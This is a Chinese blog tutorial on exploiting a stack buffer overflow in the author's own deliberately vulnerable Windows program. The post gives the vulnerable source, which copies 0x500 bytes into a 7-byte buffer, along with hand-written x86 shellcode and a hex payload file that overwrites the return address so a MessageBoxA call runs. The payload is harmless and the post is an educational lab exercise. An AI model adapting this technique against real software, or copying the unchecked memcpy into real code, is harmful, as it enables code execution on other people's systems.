软件漏洞--Hello-Shellcode

Sna1lGo 2021-03-27 原文


软件漏洞–Hello-Shellcode


软件漏洞–Hello-Shellcode

使用上一次的栈溢出的漏洞软件

可以直接通过栈溢出来修改返回值,或者要跳转的函数地址

实现一个ShellCode来跳转自己的代码

源bug软件代码

#define _CRT_SECURE_NO_WARNINGS
#include<Windows.h>
#include<iostream>
using namespace std;

int checkPassword(const char* password,int size)
{
int result = 1;
char buff[7]{};
result = strcmp(password, "51hook");
memcpy(buff, password, size);
return result;
}

int main()
{
int flag = 0;
char password[0x500];
while (1)
{
printf("请输入密码\n");
//int result = scanf("%s", password);
FILE* fp;
if ((fp = fopen("E:\\Project_Sum\\ShellCode\\ShellCode_test1\\password.txt", "rb")) == NULL)
{
return 0;
}
int result = fscanf(fp, "%s", password);
flag = checkPassword(password,sizeof(password));
if (flag)
{
MessageBoxA(0, "密码错误!", "提示", MB_OK);
}
else
{
MessageBoxA(0, "密码正确!", "提示", MB_OK);
break;
}
}
return 0;
}

这个有一个缺口就是输入这里,我们可以直接把我们想要实现的代码逻辑通过改为硬编码来直接输入进去

将自己要实现的代码逻辑编写成一个裸函数,然后将裸函数编写得到硬编码后输入到这个txt中,然后把那个ret哪里的返回要跳转的地址指向硬编码的地址,这样就实现了一个很简单的注入软件栈溢出漏洞

#include<Windows.h>
#include<iostream>
using namespace std;
DWORD a;
void _declspec(naked) shellcode()
{
__asm
{
push ebp
mov ebp, esp
sub esp, 0x30
// S n a 1 l   G o
// 53 6E 61 31 6C 47 6F
push 0x006F476C;
push 0x31616E53;
mov eax,esp
push 0;
push 0;
push eax;
push 0;
mov eax, 0x76C31930;
call eax;
add esp, 0x30;
pop ebp;
mov eax,0x00401186;
jmp eax;
}
}

int main1()
{
HMODULE hModule = LoadLibraryA("user32.dll");
//char*add = (char*)GetProcAddress(hModule, "MessageBoxA");
//a = (DWORD)add;
cout << "hello" << endl;
shellcode();
return 0;
}

 

 

总结

利用shellcode来实现通过软件漏洞入侵,这里我实现的是通过栈溢出来实现入侵,将要修改的代码逻辑用硬编码填充处理

但是这个我写的shellcode非常简单且辣鸡,原因是我的自己的硬编码首位置是固定位置,应该是随着软件生成而生成的位置才对

通过栈溢出的输入来输入我们的硬编码实现代码逻辑处理,而我们的硬编码可以通过ShellCode生成一个裸函数然后把裸函数的硬编码输入进去,裸函数是利用汇编语言写的各种函数可以查看另外一个博客看裸函数

https://www.cnblogs.com/Sna1lGo/p/14393960.html

//这个是有漏洞的软件
#define _CRT_SECURE_NO_WARNINGS
#include<Windows.h>
#include<iostream>
using namespace std;

int checkPassword(const char* password,int size)
{
int result = 1;
char buff[7]{};
result = strcmp(password, "51hook");
memcpy(buff, password, size);
return result;
}

int main()
{
int flag = 0;
char password[0x500];
while (1)
{
printf("请输入密码\n");
//int result = scanf("%s", password);
FILE* fp;
if ((fp = fopen("E:\\Project_Sum\\ShellCode\\ShellCode_test1\\password.txt", "rb")) == NULL)
{
return 0;
}
int result = fscanf(fp, "%s", password);
flag = checkPassword(password,sizeof(password));
if (flag)
{
MessageBoxA(0, "密码错误!", "提示", MB_OK);
}
else
{
MessageBoxA(0, "密码正确!", "提示", MB_OK);
break;
}
}
return 0;
}
//这个是文本
31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31
14 FA 19 00 55 8B EC 83 EC 30 68 6C 47 6F 00 68
53 6E 61 31 8B C4 6A 00 6A 00 50 6A 00 B8 30 19
C3 76 FF D0 83 C4 30 5D B8 CA 13 40 00 FF E0
//这个是写的shellcode
#include<Windows.h>
#include<iostream>
using namespace std;
DWORD a;
void _declspec(naked) shellcode()
{
__asm
{
push ebp
mov ebp, esp
sub esp, 0x30
// S n a 1 l   G o
// 53 6E 61 31 6C 47 6F
push 0x006F476C;
push 0x31616E53;
mov eax,esp
push 0;
push 0;
push eax;
push 0;
mov eax, 0x76C31930;
call eax;
add esp, 0x30;
pop ebp;
mov eax, 0x004013CA;
jmp eax;

}
}

int main1()
{
HMODULE hModule = LoadLibraryA("user32.dll");
cout << "hello" << endl;
shellcode();
return 0;
}

 

 

 

posted on
2021-03-27 15:25 
Sna1lGo 
阅读(0
评论(0
编辑 
收藏

 

版权声明:本文为Sna1lGo原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://www.cnblogs.com/Sna1lGo/p/14585904.html

软件漏洞--Hello-Shellcode的更多相关文章

  1. Ubuntu-搭建Clang Static Analyzer环境

    Ubuntu-搭建Clang Static Analyzer环境 其实也就是一个开源的漏洞扫描器   专门扫描 […]...

随机推荐

  1. STL-map

    C++ STL-map map内部数据组织:自建一颗红黑树(一种非严格意义上的平衡二叉树) 头文件:#incl […]...

  2. 干掉 Postman?测试接口直接生成API文档,这个工具贼好用

    大家好,我是小富~ 前几天粉丝群有小伙伴问,有啥好用的API文档工具推荐,无意间发现了一款工具,这里马不停蹄的 […]...

  3. Nginx里Header修改

    有时候,我们可能有修改Nginx默认Header的需求。本文就将常见的方法列出来供大家参考。 修改普通请求的H […]...

  4. 实现简单的子页面传值给父页面

    首先是form.html页面: 属于模板页面 1 <!DOCTYPE html> 2 <ht […]...

  5. Linux下卸载Oracle 11g

    第一种方法: 使用oracle自带的runInstaller 卸载 [oracle@VM_0_14_cento […]...

  6. git的工作管理和基础操作

    git的工作管理和基础操作 在本地创建git仓库管理我们的代码 初次使用git,先在本地配置一些基础信息 $ […]...

  7. AmazeUI 框架知识点-布局和样式整理

    1、Amaze UI 将所有元素的盒模型设置为 border-box。这下好了,妈妈再也不用担心没计算好 pa […]...

  8. Asp.Net Core 基于QuartzNet任务管理系统

    之前一直想搞个后台任务管理系统,零零散散的搞到现在,也算完成了。 这里发布出来,请园里的dalao批评指导! […]...

展开目录

目录导航